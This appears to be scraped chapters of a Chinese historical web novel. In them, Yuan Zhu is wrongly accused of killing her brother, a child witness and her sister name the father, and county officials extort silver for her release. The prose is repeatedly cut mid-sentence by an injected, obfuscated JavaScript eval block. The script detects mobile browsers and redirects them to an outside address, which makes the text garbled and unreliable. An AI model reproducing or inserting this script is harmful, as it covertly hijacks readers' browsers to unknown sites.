“你还知道他是你哥啊!你就这么对他?你杀了他!我要你给他偿命!”袁德跳起来,想向袁竹冲过去,杨恩和李长风死死地拉住他,他挣脱不了,只能一个劲地怒吼着,叫袁竹偿命。 “我不是故意的。”袁竹好似刚醒过神来,两腿一软,瘫坐在了地上,两行眼泪顺着她的脸颊滑落,“我没想杀他,我拿刀只是想吓唬吓唬他。” 辛开元双膝跪在地上,把袁竹抱在怀里,轻拍着她的后背安慰道:“你不是故意的,你哥哥不会怪你的。” 袁德冷静了下来,不再挣扎,“我们好好一个家,都被你给毁了,你哥会怪你,我们全家都怪你!” 袁萱草哭着走了过来,“爹,你就别说这些了,咱们把贵生拉回去埋了吧。” “埋什么埋?这个没良心的小畜生,我一定要她给我儿子偿命。”袁德甩开李长风和杨恩的手,走到项三娘身边,“孩他娘,别哭了!搭把手,把贵生放我背上,我带他去县衙。” “你要去县衙?你要告袁竹?”姜佑安问道。 “我儿子好好一条人命,难道就这样白白死在她手里?”袁德愤恨地咬着牙,“杀人就得偿命!” 项三娘把袁贵生扶到了袁德背上,袁德走上了大路,让项三娘把柴刀拿上,迈步往县城走去,袁萱草害怕得不敢上前,不知道该不该跟去。 袁竹站起身来,跟了上去,姜佑安拉住她,“你要干什么?” 袁竹回过头来,眼神慌乱,“我杀人了,我要去给我哥偿命。” 姜佑安的手上微微用力,“人真的是你杀的?” 袁竹又哭了起来,“我没想杀他,我不是故意的。” 姜佑安见问不出什么,又看向辛开元,“到底怎么回事?” “我也不知道,我们赶过来的时候,她哥已经倒下了。”辛开元说道。 姜佑安看向袁萱草,“是你叫袁竹出来的,你说,是怎么回事?” “我?”袁萱草看着姜佑安的眼神,回答得语无伦次,“我,他,他们吵起来了,我想拦着的,袁竹拿了刀出来,我害怕,他们吵得厉害,我也不知道怎么回事。” 姜佑安的神情愈加严肃,“要真是这样,袁竹,你还是逃跑吧。” “逃跑?往哪里跑?”辛开元问道。 “反正泰安县是待不了了,新知县还没来,现在是吴县丞管事,他正巴不得找到我们的错处,把我连同袁竹一块办了,一旦他知道这个事,袁竹就活不成了!”姜佑安说道。 “这跟吴县丞有什么关系?”辛开元问道。 “我不走!我杀了人,我要偿命。”袁竹说着,向大路走去。 姜佑安拦在了袁竹身前,“杀人不一定要偿命,我也杀过人,我现在不是好好的吗?” 袁萱草听了,异常震惊,“你杀过人?” “不一样,你杀的是个恶人,我哥,他虽然有很多毛病,可也从没犯过罪,他不该死。”袁竹推开姜佑安,追随袁德而去。 辛开元和袁萱草见了,也赶忙跟了过去。 姜佑安转头看着身旁的戴庭芳,“戴老师,我也得去县衙一趟,你们回去吃饭吧。” “我跟你一起去。”戴庭芳说道。 李长风走了过来,“我也去。” “我也去,我们都是证人。”杨恩说道。 “行,那就一起去吧,发生了这样的事,还是一起去看看,更安心些。”姜佑安说道。 “姜姐姐,袁姐姐不会真的要给她哥偿命吧。”李长风问道。 姜佑安叹了口气,“这不好说,她自己都承认是她杀的,不知道会不会因为认罪态度良好而减轻责罚,先去县衙看看再说吧。” 院子里,徐洪愿和陆欢正在陪着徐燕喝菊花酒,阮荷坐在席上,是不是往门口看,时间越久,她越觉得不安。 钟二娘到处都没有找到钟明珠,回到院子里,见二门在关着,她走过去开门,想要去外面找找,阮荷赶忙拦住了她,“钟姐姐,佑安姐姐说这门要先关着,等她回来了再开。” “明珠不见了,我得出去找找。”钟二娘着急去找孩子,她不管不顾地开了门,看到钟明珠正站在二门外。 钟二娘生气地走了出去,训斥道:“你跑哪儿去了?也不跟我说一声,你知道我找了你多长时间吗?” 钟明珠朝钟二娘扑过去,抱着她哭了起来,钟二娘瞬间心软了,抱着她轻声安慰,“好了,回来了就好,别哭了,看你头发乱的,走,我去给你梳梳头,梳好了头,咱们吃肉去。” 钟二娘拉着钟明珠往回走,阮荷探头向外看,外面没有一个人,也没有一点儿声音,她觉得后背发凉,赶忙退回去,关上了门。 见钟二娘拉着钟明珠要往后院去,阮荷叫住了她们,“钟姐姐,去我屋里梳吧,梳子就在床旁边的桌上,你进去就能看见。” “好,那我就去你屋梳了。”钟二娘应了一声,牵着钟明珠的手,进了阮荷的房间。 钟二娘让钟明珠在椅子上坐了,拿起梳子给她梳头,钟明珠还在不停地擦着眼泪。 “怎么了这是?我不就说了你两句吗?至于哭成这样?”钟二娘问道。 钟明珠只擦着眼泪,不说话。 钟二娘看着镜子里的钟明珠,“这里没有别人,你去哪儿了?小声跟我说说。” 钟明珠吸了吸鼻子,左右看了看,小声说道:“娘,外面有人死了,我害怕。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850145|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟二娘手上一顿,“谁死了?” “我不知道,是一个男的,被另一个男的背走了。”钟明珠小声说道。 钟二娘停了手,转到钟明珠面前,“你怎么知道人是死了?怎么死的?” “他们都这么说,说那个男人死了,还说是袁娘子杀的。”钟明珠哭着说道。 “袁娘子杀人了?!”钟二娘拿着梳子的手不住地发抖,“这可不是小事,不能胡说的!” 钟明珠用手背擦了擦脸上的泪水,“我没有胡说,他们都说是袁娘子杀的,袁娘子说她要偿命,娘,偿命是什么意思?” “偿命?”钟二娘缓缓坐在了地上,“这可怎么办?” 钟明珠下了椅子,蹲在钟二娘身旁,“娘,偿命是什么意思啊?” “偿命的意思就是,她杀了别人,别人也要杀了她。”钟二娘有些茫然地解释道。 “谁要杀了袁娘子?”钟明珠问道。 “县衙的官差。”钟二娘答道。 “娘,袁娘子要死了吗?”钟明珠问道。 钟二娘无奈垂泪,“杀人偿命,袁娘子怕是回不来了。” “可是,人明明不是袁娘子杀的。”钟明珠说道。 钟二娘猛地抬起头,“你说什么?” 钟明珠眨了眨眼睛,又想了想,“我说人不是袁娘子杀的,是另一个男的杀的。” 钟二娘眼中燃起了希望,她两手抓住了钟明珠的肩膀,“真的?” 钟明珠有点害怕,小声说道。“真的,我从菜园回来,看到他们吵了起来,我不敢过去,就在墙边躲着,我都看见了,不是袁娘子杀的。” “不是袁娘子杀的,袁娘子为什么说她要偿命?”钟二娘产生了疑问。 “我不知道。”钟明珠答道。 钟二娘从地上站来起来,也把钟明珠拉了起来,“他们去县衙了吗?” 钟明珠点了点头,“去了。” “这可不行。”钟二娘从地上捡起梳子,放在了桌上,她捋着钟明珠的头发,匆匆用头绳扎了,拉着她往外走,“我们也去县衙,去把袁娘子救回来。” “娘。”钟明珠抗拒地拽着钟二娘的胳膊,“我不去!” 钟二娘停下来,把钟明珠抱在怀里,轻声安慰道:“明珠,别怕,等会儿在路上,你把你看见的都告诉我,在衙门里,你不用开口,我去跟知县大人说。” 钟明珠点了点头,跟着钟二娘走了出去。 见两人没有到席上坐,反而又要去开门,阮荷起身走了过去,“钟姐姐,怎么不过来吃饭?” 钟二娘打开垂花门,让阮荷和她一起出去,三人走出院门,看到外面空无一人,地上有一滩血,空气中隐隐透着一股血腥味。 “小阮,袁娘子出事了,我跟明珠去县衙一趟,不会耽搁太久,你把大门关上,好好在家等着,别让人出来。”钟二娘说道。 “袁姐姐出事了?出什么事了?”阮荷问道。 “我现在着急走,等回来再跟你说,你快回去吧,把门关上。”钟二娘没有细说,牵着钟明珠就上路了。 路上,钟明珠小声跟钟二娘说着自己的所见所闻,钟二娘一一记着,到了县衙,拿钱打点了门人,向捕快说明了情况,有捕快引路,她牵着钟明珠来到了大堂前。 145. 偿命 捕快让钟二娘在堂前等候,他走进大堂内杨声报道:“大人,现有袁贵生被杀一案的证人在堂外,请问大人是否传唤?” 知县蒋启连端坐在椅子上,向堂下扫视一圈,“除了你们,现场还有其他人?” 堂下的人面面相觑,不知道所谓的证人是何人。 “传上来吧。”蒋启连说道。 钟二娘牵着钟明珠走进了大堂内,钟明珠紧紧抓着钟二娘的手,不敢抬头,钟二娘则欠身向蒋启连行了个礼,“民女钟二娘拜见大人。” “你就是此案的证人?”蒋启连问道。 “不是我,是我女儿看见的,她不敢向外人开口,由我来替她说。”钟二娘说道。 “哦?”蒋启连产生了好奇,“那你说说看。” 钟二娘往周围看了一圈,目光锁定在了袁德身上,她伸手指过去,“人不是袁娘子杀的,是他杀的。” 蒋启连看了旁边的吴思恭一眼,向钟二娘问道:“你是说,袁德杀害了自己的儿子袁贵生?” “是的,是我女儿亲眼看见的。”钟二娘答道。 “她胡说!我儿子就是我的命根子,我怎么可能杀他!”袁德大喊道。 “肃静!”蒋启连拍了一下惊堂木,“袁德为何要杀害袁贵生?是怎么杀的?你一一说来。” “原因我不清楚,我女儿看到他们在争吵,袁娘子进院子里拿了柴刀出来,袁德、袁贵生和袁娘子又吵了起来,争抢中,袁德夺走了刀,砍伤了袁贵生的脖子。”钟二娘说道。 “你们是什么人?事发时,为什么会在袁家附近?”蒋启连问道。 “我女儿是袁家收养的孤儿,我也在袁家帮忙照顾孩子。”钟二娘说道。 蒋启连看向众人,“事发时,你们有看到这个小姑娘吗?” 见众人摇头,蒋启连向钟二娘问道:“你女儿是在哪里看到的?为什么没人看到她?” “她当时从菜园回来,看到院门口人多,她害怕,就躲在了墙边,所以没人看见她。”钟二娘说道。 蒋启连想了想,“你说你女儿是被袁家收留的,那袁竹就是你女儿的救命恩人,是吧?” “是的,袁娘子是个好人,她救了很多人,她不会杀人的,求大人查明真相,放了她吧。”钟二娘说道。 蒋启连看向项三娘,“项三娘,她说的是真的吗?” 项三娘低着头,流着眼泪念叨着,“袁竹杀了我儿子…我儿子死了…要给我儿子偿命…偿命…” “袁萱草,你说呢?”蒋启连问道。 “我,我没看清楚,我不知道。”袁萱草慌忙说道。 蒋启连看向袁德,“袁德,你来说!” “是袁竹拿柴刀杀了我儿子,我没有她这个女儿,求大人为我们做主,让她给我儿子偿命!”袁德愤怒地说道。 “大人!人不是袁娘子杀的,求大人放过袁娘子吧!”钟二娘乞求道。 “小孩子说的话,作不得数,在场所有人都没有看到她,她可能什么都没看见,只是想救出袁竹,才在大人的授意下撒了谎。”蒋启连说道。 “我没有撒谎。”安静的大堂内,传来钟明珠怯生生的声音。 钟二娘正隐隐有些怀疑,明珠这孩子,聪明又敏感,她会不会是为了救袁竹,才编了瞎话?在听到明珠第一次在外人面前说话时,她选择相信明珠。 “大人!没有人教她撒谎,她跟我说的,都是她亲眼看见的。”钟二娘握着钟明珠的手,给她鼓励,“明珠,娘相信你。” “小姑娘,你今年多大了?”蒋启连问道。 钟明珠紧张地缩在了钟二娘身后,却还是鼓起勇气答道:“七岁。” “一个七岁的孩子,她说的话,可以作为参考,却不能当做证词,袁德正在张罗给袁贵生娶媳妇,怎么会想要杀了他亲生儿子?还跑到女儿的门口杀?我看事实已经很清楚了,袁德想让袁竹接济点儿钱,给袁贵生娶媳妇,袁竹不肯,就拿刀杀死了袁贵生。”蒋启连说道。 钟明珠松开了钟二娘的手,走到袁竹身边,扯了扯她的袖子,哭着问道:“袁娘子,你要死了吗?你不要我们了吗?” 袁竹忍不住红了眼睛,蹲下身摸了摸她的额头,“明珠,你会说话了,真好,你是我们袁家人,我不会不要你的。” 钟二娘走了过来,“袁娘子,不是你做的,你千万别认罪!进了大牢,可就不好出来了。” “大胆!”蒋启连拍了一下惊堂木,“你们是在本官面前串供吗?” 袁竹站起身来,把钟明珠护在身后,“大人!您说得没错,我爹和我娘过来,找我要钱给我哥娶媳妇,我是很生气,但我并不会因为这个杀人,是我哥见我不肯给钱,说我家里女人多,要进去挑一个女人作媳妇,我爹也惯着他,让他进去挑,我家里正在准备过节,哪里能让他进去胡搞,我就拿了柴刀出来,想要把他吓走,我哥就骂我,说我向着外人,不向着他,还上来抢我的刀,我爹也帮着他,后来,刀脱手了,我也没看清是怎么回事,我哥就躺在地上了,我真的没想杀人。” “不想杀人,你拿柴刀出来干什么?你挣了那么多钱,给你哥分点娶媳妇都不成,我们养你有什么用?现在你哥别说娶媳妇了,连命都没了,我要你给他偿命!”袁德哭着说道。 蒋启连看向袁竹,“就算不是故意杀人,那也是杀了人,柴刀是你拿的,人也死在你家门口,你还有什么可说的?” “大人,人究竟是谁杀的,现在还不清楚,请大人别急着定罪。”姜佑安说道。 蒋启连觉得有些累了,他拿帕子擦了擦头上的汗,挪了挪肥硕的屁股,“有人证,有物证,犯人自己也承认,还有什么不清楚的?” “钟明珠说她亲眼看到是袁德杀的人,三个人互相争执,袁德抢夺柴刀的时候失手杀了人,也是很有可能的。”辛开元说道。 “别废话了。”蒋启连很不耐烦的说道:“杀人偿命,让袁竹画押,把她关入大牢!” “知县大人!”戴庭芳上前行礼,“袁贵生想要闯进袁家,袁娘子拿刀也是情有可原,请大人念在她护着一家老小的份上,从轻发落吧。” 蒋启连没有理会他们,站起身就要走,明珠突然大哭起来,跪在堂上大喊:“袁娘子是好人!你放了她吧!她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859079|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有杀人!我给你磕头了!” 钟明珠边哭喊边磕头,堂上人听了,无不动容,钟二娘也去跪在了一旁,求知县大人开恩。 蒋启连觉得很烦躁,他拖着笨重的身子,只想赶紧去歇息,叫吴思恭赶紧把她们赶出去。 衙役驱赶着钟二娘和钟明珠,袁萱草看着她们二人,心有戚戚,她记得这个孩子,小宝曾去找她玩,她笑得很开心,但始终没说一句话,原来她不是哑巴。她是袁竹收养的孤儿,袁竹要是被抓了,那些女人和孩子怎么办? 更重要的是,袁竹怎么办?她要因此给袁贵生偿命?袁竹的一条命,可比袁贵生那个烂人的贵多了! 袁竹好不容易有了新的家,有了新的家人,辛辛苦苦卖花支撑着这个家,要因为袁贵生,把一起都毁了吗? 不!就算她忌恨袁竹,她也不愿意袁竹就这么死了! 袁萱草跑过去,挡在了钟二娘和钟明珠身前,扬声道:“知县大人!我可以作证,我也看见了!人是我爹杀的,不是袁竹!” 蒋启连停住了脚步,“你不是说你没看清吗?” 袁萱草向蒋启连跪了下来,“杀人的是我爹,我不敢说出来,怕做了不孝的女儿,惹人骂,可我妹妹是无辜的,我不能让一个无辜的人去死。” 蒋启连见事情还没完,站着也累,他又回到椅子上坐了,“别跪着了,都起来说话。” 姜佑安过去,把袁萱草扶了起来。 “你说说,到底是怎么回事?”蒋启连问道。 “事情就是袁竹说的那样,我爹我娘带着我弟来找袁竹要钱,袁竹说家里养着这么多人,没有闲钱给他们,我爹急了了就骂袁竹,袁竹不理他,想要回去,我弟就说院子里有很多女人,他要去挑一个年轻漂亮的做媳妇,袁竹生气了,拿了柴刀出来,我爹和我弟知道袁竹只是吓唬他们,就去抢柴刀,我爹把柴刀抢走了,不小心划过了我弟的脖子,那柴刀很快,我弟流了很多血,就躺在地上不动了,我爹也慌了,就说是袁竹杀了人,要袁竹偿命。”袁萱草说道。 蒋启连看向袁德,“人是你杀的?” “不是!她胡说的!”袁德想要去打袁萱草,被辛开元拉住,“你敢说是我杀的?看我不打死你!” “公堂之上,不得生乱!”蒋启连拍了一下惊堂木,堂下立刻安静下来,他看向项三娘,“项三娘,人究竟是谁杀的?” “是袁竹,是袁竹杀的。”项三娘低着头说道。 “你来说说,她是怎么杀的?”蒋启连问道。 “她说我儿子要是敢闯进去,她就杀了我儿子,我儿子不信,上去抢刀,就被她杀了。”项三娘说道。 蒋启连拿不定主意,他看向一旁的吴思恭,吴思恭走过来,对他耳语一番,然后退到了一旁。 “袁萱草,你先是说自己没看清,现在又说是袁德杀的人,让人难以断定真假,只得将你的证言记录在案,不予采用,来人,把袁竹压入大牢,日后再审。”蒋启连说完又要起身离去。 “大人!”袁萱草赶忙制止了他,“袁贵生身上背着人命案,现在死了也是他活该!请大人饶了袁竹吧!” 146. 罚金 蒋启连刚抬起的屁股又落了下去,“什么人命案?” “袁萱草!你不要在这里胡说八道!你弟都死了,你还想让他在地下都不得安生吗?”袁德大喊道。 “都说了几遍了?不得喧哗!来人!把袁德的嘴给我堵上!”蒋启连不耐烦地命令道。 有一个衙役上来,拿布条勒住袁德的嘴,系在他的脑袋上,摁着他的手,不让他解开,他马上变得老实起来。 “袁萱草,你接着说。”蒋启连说道。 “我爹和我娘来找袁竹,说袁贵生的媳妇病死了,所以需要钱娶新媳妇,其实袁贵生的媳妇就是被他自己给害死的。”袁萱草说道。 项三娘走过去,拉着袁萱草的胳膊,哭着求她,“萱草,你别说了!” “娘!”袁萱草推开了项三娘的手,“我弟是什么样的人,你比我清楚,为了他,让袁竹给他偿命,你真的觉得值得吗?” 项三娘睁着一双泪眼,哑口无言。 “袁竹或者,还可以救很多人,袁贵生活着,只是糟蹋别人家的姑娘。”袁萱草说道。 项三娘照着袁萱草的胳膊,狠狠打了一巴掌,“你怎么能这么说!他是你弟啊!你怎么就这么看不上他?他死了你还要说他的坏话!” “我就要说!你们俩愿意惯着他是你们的事,袁竹不惯着,我也不惯着!”袁竹的声音里带着多年的委屈和不甘,她捂着胳膊,抬头看向蒋启连,“大人,我弟媳嫁进袁家后,就经常挨打,我爹打她,我弟也打她,她怀了孩子,我弟还不放过她,那天弟媳说头晕恶心,我弟说她偷懒,非要她去做饭,弟媳坐在椅子上起不来,我弟就打她,弟媳气不过,直接投了井,我弟媳那么好一个女人,肚子里还怀着孩子,就这么被袁家害死了!” 蒋启连看向项三娘,“有这种事?” “我儿子,他,他不是故意了,都是儿媳妇气性太大。”项三娘慌忙辩解道。 姜佑安冷眼看着她,“你眼里只有你儿子,没有是非对错吗?” 看着姜佑安的目光,项三娘恼羞成怒,“谁家媳妇不挨打?我年轻的时候也是挨打挨过来的,是她自己受不住,能怪别人吗?” “当然要怪!打人本来就是不对的,媳妇也不该挨打,你自己遇到烂人,还不敢反抗,就以为全天下的女人都得挨打?你手里也是拿着菜刀、擀面杖的人,怎么就只能挨打?给他一棍,砍他一刀,看他还敢不敢打人!”姜佑安生气地说道。 “你,你疯了吧!”项三娘说道。 姜佑安冷静下来,用漠然的目光看着项三娘,“只想着默默挨打的女人才是疯了,跳井的也没好多少,自己都要死了,就该把打人的人一起带走,都住在一个屋檐下,男人不也有睡着的时候?你儿媳要是先给袁贵生一刀,再给袁德一刀,然后再跳井,哪还有今天这事。” 项三娘惊恐地瞪大了眼睛,说不出话来。 “半夜拿着菜刀出现在床边,男人也只能乖乖被砍吧,要是所有被打的女人都砍回去,哪还会有被欺负的媳妇?他们都得掂量掂量,半夜媳妇拿着菜刀来了,自己的脖子经不经砍。”姜佑安说道。 蒋启连听了,不自觉打了个寒颤,他拍了一下桌子,“别扯远了,项三娘,袁萱草说的,可属实?” 项三娘回过头来,点了点头。 蒋启连叫了吴思恭过来,两人又耳语了一番。 “袁家儿媳是自己投井自杀,袁德有一定的责任,但也罪不至死,此事不能减轻袁竹的罪责,两方各执一词,现在难以断定,还是先将袁竹关进大牢,日后再审吧。”蒋启连拍了一下惊堂木,“退堂!” 袁竹见事情并不是自己想得那样,心中波涛汹涌,她走过去拉住了项三娘的胳膊,哭着央求道:“娘,你是不是看见了?哥是不是我杀的?娘,我也是你的孩子,你别只看着哥哥,你看看我,救救我吧。” 项三娘低着头,完全不敢抬头看她,只哭着说道:“都怪你!谁让你拿柴刀出来的?你要是不拿刀,我儿子也不会死!我还指望着给他娶媳妇生孩子呢,现在什么都没了。” 差役过来,要把袁竹带到大牢去,袁竹松开了项三娘,愤怒地大喊道:“我根本不是你们的孩子!你们眼里只有袁贵生,我到底算什么?要不是为了钱,你们怎么会来看我?你们只生儿子就好了,为什么要生我!我恨你们!我恨你们!” 袁竹的哀嚎响彻大堂,项三娘眉头紧皱,一言不发。 袁竹被拖着去了牢房,姜佑安她们也被赶了出去,众人都觉得身体疲累,又为袁竹感到散心,姜佑安带大家先去吃了午饭,让钟二娘、钟明珠、李长风和杨恩先回家去,给袁竹准备被子和吃食,她和戴庭芳、辛开元一起去见了龙世蓉。 听说发生了命案、袁竹被抓,龙世蓉也很担心,“这位蒋知县昨天刚到任,我也不太了解他的行事风格,你们要不要去找一下吴县丞?” “在公堂上,我看蒋知县跟吴县丞的关系不错,他刚到这里,肯定事事都要依赖吴县丞,先去探探吴县丞的口风也好。”辛开元说道。 姜佑安点了点头,“我正有此意,不过,我看这件事没那么好解决,如果袁竹的哥哥真的被判是袁竹所杀,恐怕袁竹就不好脱罪了。” “你不是说人不是袁竹杀的吗?”龙世蓉问道。 “明珠和袁竹的姐姐都说看到是袁德杀的人,但袁德和项三娘坚称是袁竹杀的,知县说各执一词,他没法判决,我看他是倾向于要定袁竹的罪。”姜佑安说道。 “那怎么办?”龙世蓉问道。 “上次我入狱时,知县找我要银子我没给,我想这个蒋知县没有当场定罪,可能也是想要银子,你能不能先借我一百五十两,一百两给知县,五十两给县丞,等把这事应付过去之后,我再还你。”姜佑安说道。 “这好办,我让文珠拿着我的印去当铺给你支取一百五两,你跟她一起去吧。”龙世蓉说道。 “你拿纸笔来,我给你写个借条。”姜佑安说道。 龙世蓉说不用写,但姜佑安坚持,拿了纸笔来,写了借条,她还摁了个手印。 “我们家的钱都是袁竹收着的,回家去一时半会而也不知道能不能找到,只好先来找你了,等她出来了,我一定还你。”姜佑安说道。 “你们做事,我没什么不放心的,你先拿着用就是了。”龙世蓉说道。 文珠拿了湿了水的帕子来,低着头递给姜佑安擦手,姜佑安道了声谢,接了过去。 龙世蓉把自己的印信交给文珠,让她带着姜佑安去当铺取银子,姜佑安得了银子,赶忙又去了县衙。 在门房处使了钱,姜佑安很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴思恭笑了笑,“官府的案宗,确实不方便给外人看,不过,姜院长既然有这个疑心,我就让下面的人再查一查,只是这么多年的卷宗查下来,那也是很耗费时间的,就不知道袁娘子要什么时候才能放出去了。” “大人,既然查卷宗耗费时间长,不如您就跟知县大人说说,先让袁娘子回去吧,等查出来什么时候的漏交了,我们再补交就是了。”辛开元说道。 “这个嘛。”吴思恭喝了口茶,悠悠地说道:“我说了可不算。” 姜佑安看出来吴思恭不想放人,为避免袁竹在牢狱里受罪,她把另一包一百两的银子也放到了桌上,“知县大人初来乍到,对县里的情况自然是不如县丞您清楚,只要您说卷宗没问题,那就肯定没问题。” 吴思恭一看这包银子比刚才那包还多,马上应承道:“这好说,我这就让他们再查一遍,来人呐!” 一个差役走了进来,“县丞大人有何吩咐?” “姜院长说袁竹一向都是交了税的,你可有仔细核查?”吴思恭问道。 “回大人,我们刚又核查了一遍,袁竹并不是没交税,而是税款的数目不对,以往她交的税款都是百分之二,可按照朝廷法度,她应该交百分之十才对。”差役答道。 147. 借钱 吴思恭看向姜佑安,笑着说道:“原来不是没交,这就好办了,只要袁竹能把税款补上,我这就让她回去。” 姜佑安压抑着胸中的怒火,勉强笑道:“税款一下子涨了五倍,这也太高了些吧。” 辛开元起身拜道:“大人,袁娘子只是个卖花的花农,家里还养着很多孤儿,请大人看在袁家生存艰难的份上,高抬贵手吧。” “生存艰难?袁家怎么会生存艰难?那么多人给她做工,我看袁家的生意好得不得了呢。”吴思恭说道。 “大人。”戴庭芳也站起身来,“袁家做的都是卖花、卖饼之类的小生意,这样的商品本就是按百分之二收税的,还请县丞大人再确认一下吧。” “戴公子果然是做过官的人,对收税的事也有研究,不过,戴公子退出官场已久,恐怕不知道这税款已经涨了。”吴思恭微笑着说道。 “什么时候涨的?有何文件为证?”戴庭芳问道。 吴思恭收敛起了笑意,“戴公子,你觉得如何做官,我还需要你来教吗?” 姜佑安站起身来,把钱袋子拿起来,双手递到吴思恭面前,“这里是一百两银子,请吴大人笑纳,袁竹的事,还请大人再多关照关照。” 吴思恭起身把钱袋接了过去,沉甸甸的银子让他非常满意,“我这边都好说,主要是知县大人那边,我也没有十足的把握,既然你这么有诚心,那我也尽力帮你一把,这么着吧,这些年的税款一时半会儿也查不清,你就再给我拿二百两银子来,我去给你摆平蒋知县,袁竹你接走,以后税款的事,你们就再也不用操心了。” “再拿二百两?!这一百五两都是姜院长去借来的,哪有那么多钱给你,吴大人,袁娘子一向安守本分,没有杀人,也没有漏交过税款,平白无故抓了一个好人,就要三百五十两银子来赎,您这嘴未免也张得太大了吧!”辛开元愤怒地说道。 吴思恭把钱袋子揣了起来,衣服鼓鼓囊囊的像长了两个大瘤子,“看你年轻不懂事,我也不跟你多计较,你知道我们县衙上下多少人吗?你知道查案要多少人,查卷宗要多少人吗?你要想让他们给你办事,不拿银子,怎么办?你以为钱都是我拿了吗?区区三百五十两银子,分下去,一人才能分多少?如今这世道,没有钱,就是我也没有办法!” “吴大人说得是,我这就去筹钱。”姜佑安很清楚监牢里过的是什么日子,她没有继续跟吴思恭纠缠,既然他想要三百五两银子,那就给他,只要能把袁竹放出来就行。 辛开元还想再骂吴思恭几句,被戴庭芳拉走了,三人又去了龙世蓉那里借了一百两,又去找许家莺借了五十两,戴庭芳回家找母亲借了三十两,辛开元回家借了二十两,凑够了二百两,终于把袁竹接了出来。 只不到一天的时间,袁竹就憔悴了许多,正巧杨恩、李长风和阮荷拿着吃的和被子来了,姜佑安就让她先吃点儿重阳糕,雇了马车,把袁竹送回家去。 上车之前,袁竹问起她的家人,姜佑安让她先上车,回去再说,她没再继续问,让大家一起坐马车回去,姜佑安见马车坐不下这么多人,让李长风、阮荷和辛开元一起坐马车回去,她和戴庭芳还有杨恩走路回去。 见袁竹状态疲累,辛开元也没有多退让,让车夫赶紧驾车回去,姜佑安带着戴庭芳和杨恩去了龙家和许家,告诉她们一声,袁竹已经救出来了,让她们不用担心,钱她日后一定还。 龙世蓉和许家莺都安慰她说不必急着还钱,先回去安顿一下再说。 告别了龙世蓉和许家莺,姜佑安和戴庭芳往城外走去,路过衙门口时,她看到袁萱草正在向门人央求着什么。 姜佑安走了过去,向袁萱草问道:“袁姐姐,你怎么还在这里?” 袁萱草回过头来,眼中带泪,“姜院长,我爹和我娘想要回我弟的尸身回家安葬,却突然被抓进了衙门,我想进去看看是什么情况,你有什么办法吗?” “估计是袁贵生的案子要重审,人虽然是你爹杀的,但也是无心之失,估计不会判得太重,你不用过于担心。”姜佑安说道。 “重审?他们相信我说的话了?袁竹没事了?”袁萱草高兴地问道。 “钱交了不少,应该是没事了。”姜佑安说道。 袁萱草由喜转悲,“那我爹娘怎么办?” “你爹可能会被关押,你娘应该很快就会被放出来,要是时间太晚,你和你娘就在县里找个住处吧。”姜佑安说道。 袁萱草好似有些为难,但也没说什么。 姜佑安从怀里掏出两块碎银子,塞到袁萱草手里,“你今天出来没带钱吧,先拿这个应个急,要是还有其他需要帮忙的,就去袁家找我们。” “谢谢。”袁萱草低头擦着眼泪,后悔地说道:“我应该早点说的,这样就不用大家跑到衙门来了。” “不管怎么说,最终你还是说出了真相,救了袁竹一命,我替她谢谢你。”姜佑安说道。 明明她才是袁竹的亲姐姐,却要一个外人替她妹妹向她道谢,袁萱草心中五味杂陈,“我是她姐,我应该救她,不管发生了什么事,她永远都是我妹妹。” “是,你永远是袁竹的姐姐,这边的事忙完了,再到袁家坐坐吧,袁竹应该也想多跟你说说话。”姜佑安说完向袁萱草行了一礼,转身离去。 袁萱草手里紧紧攥着两块碎银子,待姜佑安走远之后,蹲在地上,崩溃大哭起来。 姜佑安和戴庭芳、杨恩一起回到了袁家,徐燕已经被送回家,袁家大门口的血迹也已经被清理掉了。 袁竹吃过了饭,躺在床上休息,辛开元和阮荷守在她身边,其他人都守在堂屋里,整个袁家异常地安静。 见姜佑安回来了,大家一窝蜂地围了上去,问到底发生了什么事,姜佑安说县衙查案的抓错了人,现在没事了,让大家都散了。 众人听了,虽然不太明白,但也觉得安心了许多,各自忙去了。 姜佑安带着戴庭芳、杨恩和李长风进了袁竹的房间。 “进大牢的滋味,不好受吧。”姜佑安在床边的椅子上坐了,故作轻松地说道。 “是不好受。”袁竹从床上坐了起来,“我听辛老师说,你们借了三百五十两银子给吴县丞,才把我放出来,这么多钱,真是可惜了。” “这件事能花钱摆平,已经算是不错了,县衙那个鬼地方,我清楚得很,只要落到了他们手里,他们就爱怎么磋磨怎么磋磨,没有讲理的,只要你能平安出来,钱我们再挣就是了。”姜佑安说道。 袁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 